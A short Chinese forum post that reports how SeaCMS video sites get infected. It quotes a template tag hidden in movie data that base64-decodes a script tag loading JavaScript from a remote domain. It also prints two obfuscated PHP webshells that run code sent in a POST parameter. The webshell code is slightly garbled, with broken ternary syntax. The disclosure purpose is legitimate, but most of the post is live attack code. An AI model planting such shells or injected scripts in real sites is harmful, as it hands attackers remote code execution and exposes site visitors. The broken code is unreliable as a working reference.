海洋cms终于发现被挂马的源头了

很多资源站都在电影内容里隐藏了代码，包括ok和最大等大站，当然不是全部影片都挂代码......{if-A:printf(base64_decode("HNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}

然后在网站里挂这些木马

<?php

class  CLFR{

function __destruct(){

$YQIE='Pm~U^u]RLZH?-Kv'^"\x33\x1f\x1b\x34\x2a\x10\x2\x34\x39\x34\x2b\x4b\x44\x24\x18";

@$YQIE=$YQIE('',$this->CV);

return @$YQIE();}}

$clfr=new CLFR();

@$clfr->CV=isset($_GET@['id'])?base64_decode($_POST@['mr6'])_POST@['mr6'];

?>

<?php

class VMTX{

    function __destruct(){

        $BRLI='f$vjcT'^"\x7\x57\x5\xf\x11\x20";

        return @$BRLI("$this->EKDL");

    }

}

$vmtx=new VMTX();

@$vmtx->EKDL=isset($_GET@['id'])?base64_decode($_POST@['mr6'])_POST@['mr6'];

?>